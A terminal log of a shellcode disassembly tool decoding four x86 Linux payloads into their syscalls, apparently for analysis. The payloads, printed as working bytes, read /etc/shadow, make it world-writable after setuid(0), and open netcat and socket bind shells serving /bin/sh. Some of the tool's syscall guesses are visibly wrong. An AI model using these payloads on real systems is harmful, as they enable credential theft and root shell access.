disasm/reverse shellcode

entropy@phiral.net:~/reverse_shellcode$ ./revsc.py -s "\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80"

[*] Bits: 32

[*] Shellcode:
\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74
\x63\x89\xe1\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80

[*] Assembly:
    xor    %eax,%eax
    push   %eax
    push   $0x7461632f
    push   $0x6e69622f
    mov    %esp,%ebx
    push   %eax
    push   $0x776f6461
    push   $0x68732f2f
    push   $0x6374652f
    mov    %esp,%ecx
    push   %eax
    push   %ecx
    push   %ebx
    mov    %esp,%ecx
    mov    $0xb,%al
    int    $0x80

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]

[*] Assembly Block [0xb __NR_execve]:
    xor    %eax,%eax
    push   %eax
    push   $0x7461632f
    push   $0x6e69622f
    mov    %esp,%ebx
    push   %eax
    push   $0x776f6461
    push   $0x68732f2f
    push   $0x6374652f
    mov    %esp,%ecx
    push   %eax
    push   %ecx
    push   %ebx
    mov    %esp,%ecx
    mov    $0xb,%al
    int    $0x80

[*] Following all register values:
    1 -> %eax = 0
    2 -> %esp = %eax
    3 -> %esp = $0x7461632f (/cat)
    4 -> %esp = $0x6e69622f (/bin)
    5 -> %ebx = /bin/cat
    6 -> %esp = %eax
    7 -> %esp = $0x776f6461 (adow)
    8 -> %esp = $0x68732f2f (//sh)
    9 -> %esp = $0x6374652f (/etc)
    10 -> %ecx = /bin/cat /etc//shadow
    11 -> %esp = %eax
    12 -> %esp = %ecx
    13 -> %esp = %ebx
    14 -> %ecx = /bin/cat /etc//shadow
    15 -> %al = $0xb [decimal: 11 octal: 13]

[*] Register values at syscall:
    stack printable: /bin/cat /etc//shadow
    %ebx is /bin/cat
    %eax is 0xb
    %esp is %ebx
    %ecx is /bin/cat /etc//shadow

[*] System Call Guess: execve("/bin/cat", "/bin/cat /etc//shadow")

[*] System Call Executed (approx): execve("/bin/cat", ["/bin/cat", "/etc//shadow"], [/* 0 vars */])

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]


entropy@phiral.net:~/reverse_shellcode$ ./revsc.py -s "\x31\xc0\x50\x68\x74\x63\x61\x74\x68\x6e\x2f\x6e\x65\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75\x73\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80"

[*] Bits: 32

[*] Shellcode:
\x31\xc0\x50\x68\x74\x63\x61\x74\x68\x6e\x2f\x6e\x65\x68\x72
\x2f\x62\x69\x68\x2f\x2f\x75\x73\x89\xe3\x50\x68\x36\x36\x36
\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89
\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80

[*] Assembly:
    xor    %eax,%eax
    push   %eax
    push   $0x74616374
    push   $0x656e2f6e
    push   $0x69622f72
    push   $0x73752f2f
    mov    %esp,%ebx
    push   %eax
    push   $0x36363636
    push   $0x70746c2d
    mov    %esp,%edx
    push   %eax
    push   $0x68732f6e
    push   $0x69622f2f
    pushw  $0x652d
    mov    %esp,%ecx
    push   %eax
    push   %ecx
    push   %edx
    push   %ebx
    mov    %esp,%esi
    mov    $0xb,%al
    mov    %esi,%ecx
    xor    %edx,%edx
    int    $0x80

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]

[*] Assembly Block [0xb __NR_execve]:
    xor    %eax,%eax
    push   %eax
    push   $0x74616374
    push   $0x656e2f6e
    push   $0x69622f72
    push   $0x73752f2f
    mov    %esp,%ebx
    push   %eax
    push   $0x36363636
    push   $0x70746c2d
    mov    %esp,%edx
    push   %eax
    push   $0x68732f6e
    push   $0x69622f2f
    pushw  $0x652d
    mov    %esp,%ecx
    push   %eax
    push   %ecx
    push   %edx
    push   %ebx
    mov    %esp,%esi
    mov    $0xb,%al
    mov    %esi,%ecx
    xor    %edx,%edx
    int    $0x80

[*] Following all register values:
    1 -> %eax = 0
    2 -> %esp = %eax
    3 -> %esp = $0x74616374 (tcat)
    4 -> %esp = $0x656e2f6e (n/ne)
    5 -> %esp = $0x69622f72 (r/bi)
    6 -> %esp = $0x73752f2f (//us)
    7 -> %ebx = //usr/bin/netcat
    8 -> %esp = %eax
    9 -> %esp = $0x36363636 (6666)
    10 -> %esp = $0x70746c2d (-ltp)
    11 -> %edx = //usr/bin/netcat -ltp6666
    12 -> %esp = %eax
    13 -> %esp = $0x68732f6e (n/sh)
    14 -> %esp = $0x69622f2f (//bi)
    15 -> %esp = $0x652d (-e)
    16 -> %ecx = //usr/bin/netcat -ltp6666 -e//bin/sh
    17 -> %esp = %eax
    18 -> %esp = %ecx
    19 -> %esp = %edx
    20 -> %esp = %ebx
    21 -> %esi = //usr/bin/netcat -ltp6666 -e//bin/sh
    22 -> %al = $0xb [decimal: 11 octal: 13]
    23 -> %ecx = %esi
    24 -> %edx = 0

[*] Register values at syscall:
    stack printable: //usr/bin/netcat -ltp6666 -e//bin/sh
    %eax is 0xb
    %ebx is //usr/bin/netcat
    %esi is //usr/bin/netcat -ltp6666 -e//bin/sh
    %ecx is %esi
    %edx is 0
    %esp is %ebx

[*] System Call Guess: execve("//usr/bin/netcat", "//usr/bin/netcat -ltp6666 -e//bin/sh", 0)

[*] System Call Executed (approx): execve("//usr/bin/netcat", ["//usr/bin/netcat", "-ltp6666", "-e//bin/sh"], [/* 0 vars */])

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]


entropy@phiral.net:~/reverse_shellcode$ ./revsc.py -s "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01\xb0\x0f\xcd\x80\x40\xcd\x80"

[*] Bits: 32

[*] Shellcode:
\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77\x68
\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01
\xb0\x0f\xcd\x80\x40\xcd\x80

[*] Assembly:
    xor    %ebx,%ebx
    mov    $0x17,%al
    int    $0x80
    xor    %eax,%eax
    push   %eax
    push   $0x776f6461
    push   $0x68732f63
    push   $0x74652f2f
    mov    %esp,%ebx
    mov    $0x1b6,%cx
    mov    $0xf,%al
    int    $0x80
    inc    %eax
    int    $0x80

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]

[*] Assembly Block [0x17 __NR_setuid]:
    xor    %ebx,%ebx
    mov    $0x17,%al
    int    $0x80

[*] Following all register values:
    1 -> %ebx = 0
    2 -> %al = $0x17 [decimal: 23 octal: 27]

[*] Register values at syscall:
    %ebx is 0
    %al is 0x17

[*] System Call Guess: setuid(0)

[*] System Call Executed (approx): setuid(0)

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]
[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]

[*] Assembly Block [0xf __NR_chmod]:
    xor    %eax,%eax
    push   %eax
    push   $0x776f6461
    push   $0x68732f63
    push   $0x74652f2f
    mov    %esp,%ebx
    mov    $0x1b6,%cx
    mov    $0xf,%al
    int    $0x80

[*] Following all register values:
    1 -> %eax = 0
    2 -> %esp = %eax
    3 -> %esp = $0x776f6461 (adow)
    4 -> %esp = $0x68732f63 (c/sh)
    5 -> %esp = $0x74652f2f (//et)
    6 -> %ebx = //etc/shadow
    7 -> %cx = $0x1b6 [decimal: 438 octal: 666]
    8 -> %al = $0xf [decimal: 15 octal: 17]

[*] Register values at syscall:
    stack printable: //etc/shadow
    %ebx is //etc/shadow
    %eax is 0xf
    %esp is 0x74652f2f
    %cx is 0x1b6

[*] System Call Guess: chmod("//etc/shadow")

[*] System Call Executed (approx): chmod("//etc/shadow", 0666)

[ASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCKASMBLOCK]


entropy@phiral.net:~$ ./revsc.old.py -s "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"

[*] Bits: 32

[*] Shellcode:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53
\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a
\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66
\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0
\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8
\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80

[*] Assembly:
    xor    %eax,%eax
    xor    %ebx,%ebx
    mov    $0x17,%al
    int    $0x80
    xor    %ebx,%ebx
    mul    %ebx
    mov    $0x66,%al
    push   %ebx
    inc    %ebx
    push   %ebx
    inc    %ebx
    push   %ebx
    mov    %esp,%ecx
    dec    %ebx
    int    $0x80
    mov    %eax,%edi
    push   %edx
    pushw  $0x697a
    inc    %ebx
    push   %bx
    mov    %esp,%ecx
    mov    $0x10,%al
    push   %eax
    push   %ecx
    push   %edi
    mov    %esp,%ecx
    mov    $0x66,%al
    int    $0x80
    mov    $0x66,%al
    mov    $0x4,%bl
    int    $0x80
    push   %eax
    push   %eax
    push   %edi
    mov    %esp,%ecx
    inc    %ebx
    mov    $0x66,%al
    int    $0x80
    mov    %ebx,%ecx
    mov    %eax,%ebx
    mov    $0x3f,%al
    dec    %ecx
    int    $0x80
    inc    %ecx
    loop   0x43
    push   %ecx
    push   $0x68732f6e
    push   $0x69622f2f
    mov    %esp,%ebx
    push   %ecx
    push   %ebx
    mov    %esp,%ecx
    mov    $0xb,%al
    int    $0x80

[*] Assembly Block [0x17 __NR_setuid]:
    xor    %eax,%eax
    xor    %ebx,%ebx
    mov    $0x17,%al
    int    $0x80
[*] System Call (approximate): setuid(0)

[*] Assembly Block [0x66 __NR_socketcall]:
    xor    %ebx,%ebx
    mul    %ebx
    mov    $0x66,%al
    push   %ebx
    inc    %ebx
    push   %ebx
    inc    %ebx
    push   %ebx
    mov    %esp,%ecx
    dec    %ebx
    int    $0x80
[*] System Call (approximate): socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

[*] Assembly Block [0x66 __NR_socketcall]:
    mov    %eax,%edi
    push   %edx
    pushw  $0x697a
    inc    %ebx
    push   %bx
    mov    %esp,%ecx
    mov    $0x10,%al
    push   %eax
    push   %ecx
    push   %edi
    mov    %esp,%ecx
    mov    $0x66,%al
    int    $0x80
[*] System Call (approximate): socket(PF_UNSPEC, SOCK_CLOEXEC|0xffa0b778, 16)

[*] Assembly Block [0x66 __NR_socketcall]:
    mov    $0x66,%al
    mov    $0x4,%bl
    int    $0x80
[*] System Call (approximate): listen(0, 0)

[*] Assembly Block [0x66 __NR_socketcall]:
    push   %eax
    push   %eax
    push   %edi
    mov    %esp,%ecx
    inc    %ebx
    mov    $0x66,%al
    int    $0x80
[*] System Call (approximate): socket(PF_UNSPEC, 0, 0)

[*] Assembly Block [0x3f __NR_dup2]:
    mov    %ebx,%ecx
    mov    %eax,%ebx
    mov    $0x3f,%al
    dec    %ecx
    int    $0x80
[*] System Call (approximate): dup2(0, 4294967295)

[*] Assembly Block [0xb __NR_execve]:
    inc    %ecx
    loop   0x43
    push   %ecx
    push   $0x68732f6e
    push   $0x69622f2f
    mov    %esp,%ebx
    push   %ecx
    push   %ebx
    mov    %esp,%ecx
    mov    $0xb,%al
    int    $0x80

...